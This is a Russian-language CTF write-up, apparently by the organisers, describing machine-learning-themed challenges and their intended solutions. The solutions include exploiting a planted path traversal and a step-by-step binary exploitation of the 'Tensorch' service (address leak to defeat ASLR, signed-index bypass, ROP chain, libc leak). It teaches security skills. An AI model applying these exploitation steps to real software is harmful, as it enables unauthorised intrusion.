Game of Cats

На наш взгляд фановое задание на автоматизацию, но не у всех получилось.

Суть задания была в том, что есть игра, там неизвестно сколько уровней, но если ты начинаешь играть вручную, то тебе предстоит на каждом уровне выбирать фото, если там изображена кошка, и нажимать "Next. В какой-то момент вместо одной картинки, становится две, три, а потом и 50. При этом существует ограничение по времени, а прогресс сбрасывается при ошибке.

Пытались адекватно усложнить, чтобы не пытались проходить руками, однако отчаянные участники иногда именно так и проходили.

Датасет мы взяли открытый, надеясь, что участники найдут обученную модель и просто сделают автоматизацию прохождения.

Но на самом деле был еще один хак: если играть, то можно было заметить, что состояние игры не меняется, т.е даже без использования модели можно было бы просто перебирать варианты для каждого уровня, сохранять удачные и начинать заново в случае ошибки.

AlexNetv2.0

На мой взгляд это задание должно было стать самым простым, но хорошо, что мы сделали динамическое оценивание и не ошиблись.

Участникам была дана модель и сказано, что это какая-то новая версия. Категория задания была stegano категория заданий, нацеленные на извлечения информации.

Немного посмотрев на модель можно было бы увидеть, что по архитектуре это обычная модель AlexNet и ничего не отличается:

Где же тут спрятан флаг?

Ну, немного подумав, а это суть каждого задания, можно прийти к мысли, что слои в сверточной сети это тоже картинки и попробовать их визуализировать. Функций для визуализации слоев много, достаточно загуглить и многое работает из коробки.

Далеко не уходя в deep-часть сети, можно было найти флаг:

h4ck3r

Не могли оставить классических цтферов без задания, поэтому долго думали над этим таском.

Был дан сервис, который принимал на вход картинку, но на выход тоже возвращал картинку с примененным фильтром и hacker score. И только настоящий хакер мог получить максимальную оценку!

Что первое подумает датасаентист? Надо крафтить картинки и получать максимальный скор adversarial attacks! Но трудно крафтить картинки в случае black box модели. Мы постарались намекнуть, что это делать и не надо.

Категория задания была помечена как web и stegano, поэтому настоящий цтфер начнет искать багу в вебе! Проэксплойтив path traversal, который был предусмотрительно заложен, можно было получить сорцы сервиса и увидеть, а как все-таки этот hacker score выставляется картинке.

А помимо этого и еще интересную деталь флаг подмешивался к картинке, но не просто, а количество символов флага устанавливалось в зависимости от полученного скора.

Возможные варианты.

С одной стороны, участникам необходимо было реализовать обратный алгоритм подмешивания, чтобы достать информацию из картинки.

С другой стороны, не было никакой возможности получить весь флаг, кроме как послать несколько картинок, чтобы получить разные части и, впоследствии объединив, получить полную правильную строку.

Хочется сказать спасибо команде RuCTF, которая разрешила взять за основу их сервис, который они круто написали.

BigLittleData

Все, что было дано участникам csv файл с набором данных. Что делать? Вижу данные открываю их в pandas!

Как-то так они выглядели:

А если вы уже опытный датасаентист, то скорее всего вам захочется и визуализировать их.

Собственно выбрать способ визуализации и был верный путь к решению таска.

Но каждый понял задание как понял, и порой выходили очень интересные варианты визуализации. На наш взгляд на грани искусства:

Мы тут согласны, что вариантов визуализации в целом много, но надеялись, что участники выберут самые популярные и просто попробуют. Так как это задание тоже было решено, но оказалось не таким уж и легким.

Пошаманив с алгоритмом PCA, можно было получить флаг:

Tensorch

При подготовке этого задания мы вдохновились существующими CVE в фреймворках для глубокого обучения. Но в целях упрощения задания для участников было принято решение не использовать реальные фреймворки с огромной кодовой базой, а написать свой, маленький сервис.

Собственно участникам был дан бинарь, который считывал и запускал нейросеть пользователя. В нем нужно было найти уязвимость и удаленно ее проэксплуатировать.

В бинаре было две (намеренно оставленных) уязвимости:

  1. не проверялся размер пользовательского ввода

  2. при выборе функции активации для слоя некорректно проверялся индекс функции

Первая уязвимость позволяла нам получить адреса стека и загрузки самого бинаря в памяти, что в дальнейшем поможет нам обойти ALSR.

Вторая уязвимость давала возможность осуществить прыжок на произвольный адрес и начать выполнять "наш" код.

Как эксплуатировать первую багу:

  1. Структура, хранящая в себе нейросеть лежит на стеке, в том числе там же находятся коэффициенты для слоев.

  2. Мы специальным образом введем значения нашего входа и укажем довольно большой размер, таким образом, чтобы на выходе сети мы получили: val_from_stack * 1.0.

  3. Дальше мы переводим присланный нам double в байты и таким образом получаем адреса.

Как эксплуатировать вторую багу:

  1. у нас проверяется знаковый int на то, что он меньше 3-х, но если мы введем -1, то в качестве адреса функции будет использовано значение из буфера, который хранит в себе выход нашей сети.

  2. мы создаем новую сеть с 8ю выходами и подгоняем коэффициенты таким образом, чтобы все выходы были равны тому адресу, на который мы хотим прыгнуть.

  3. создаем новую сеть с функцией активации равной -1.

Теперь мы можем прыгать на произвольный адрес, но этого мало. Но при этом в бинаре есть следующее интересное место:

.text:00000000000019C1                 mov     edx, 240h       ; nbytes.text:00000000000019C6                 mov     rsi, rax        ; buf.text:00000000000019C9                 mov     edi, 0          ; fd.text:00000000000019CE                 call    _read

При этом на момент вызова функции активации в регистре rax лежит значение, которое должно быть передано функции активации:

.text:00000000000014AD                 movq    xmm0, rax       ; a.text:00000000000014B2                 call    rdx             ; вызов функции активации

Таким образом, учитывая что на шаге 1 мы узнали адрес стека, то мы можем просто считать в стек нашу ROP-цепочку. Адрес надо высчитать таким образом, чтобы мы переписали адрес выхода из функции _read

После этого остается небольшое упражнение с тем, чтобы ликнуть адрес либсы и считать вторую цепочку.

Итоги:

В этом году мы постарались сделать чуть более близкие для DS задания, и верим, что получилось довольно удачно. У нас было 3 задания, специфичных для DS специалистов, один на автоматизацию и 2 задания, хоть и в оговоренной тематике, но более близкие для классических специалистов по безопасности.

При этом за чуть больше сутки 19 участникам удалось сдать хотя бы один флаг. Все задания были решены, но никто не решил все. С одной стороны был риск, что кто-то все решит и станет скучно, но с другой, кажется у нас получилось сделать вполне решаемые таски. Но кажется в следующий раз придется добавлять еще более сложное задание, чтоб уж точно вызвать челлендж.

В итоге призовые места заняли:

  1. Жмыхолет Апач

  2. pomo_or_not_pomo

  3. konodyuk (стабильность!)

Ребят мы наградили релевантными соревнованию призами: за первое место AWS DeepRacer, за второе JetRacer AI racing robot, а за третье место подарили Jetson TX2 Module.

Все еще надеемся, что помогаем специалистам, как DS, так и ИБ прикоснуться к миру друг друга и получить удовольствие от игры!

Подробнее..

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru